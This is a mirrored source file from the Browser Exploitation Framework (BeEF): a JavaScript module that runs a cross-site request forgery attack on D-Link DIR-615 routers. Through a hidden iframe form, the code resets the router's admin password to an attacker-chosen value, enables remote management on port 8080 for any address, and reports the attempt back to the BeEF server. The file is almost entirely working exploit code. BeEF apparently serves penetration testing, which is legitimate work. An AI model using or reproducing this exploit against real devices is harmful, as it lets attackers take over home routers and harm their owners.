Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/dlink_dir_615_csrf/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var gateway = '<%= @base %>';
9
var passwd = '<%= @password %>';
10
var timeout = 15;
11
12
var dir615_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "tools_admin.php", "POST", "application/x-www-form-urlencoded",
13
[{'type':'hidden', 'name':'ACTION_POST', 'value':'1'} ,
14
{'type':'hidden', 'name':'apply', 'value':'Save Settings'},
15
{'type':'hidden', 'name':'admin_name', 'value':'admin'},
16
{'type':'hidden', 'name':'admin_password1', 'value':passwd},
17
{'type':'hidden', 'name':'admin_password2', 'value':passwd},
18
{'type':'hidden', 'name':'rt_enable', 'value':'on'},
19
{'type':'hidden', 'name':'rt_enable_h', 'value':'1'},
20
{'type':'hidden', 'name':'rt_ipaddr', 'value':'0.0.0.0'},
21
{'type':'hidden', 'name':'rt_port', 'value':'8080'}
22
]);
23
24
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
25
26
cleanup = function() {
27
document.body.removeChild(dir615_iframe_<%= @command_id %>);
28
}
29
setTimeout("cleanup()", timeout*1000);
30
31
});
32
33
34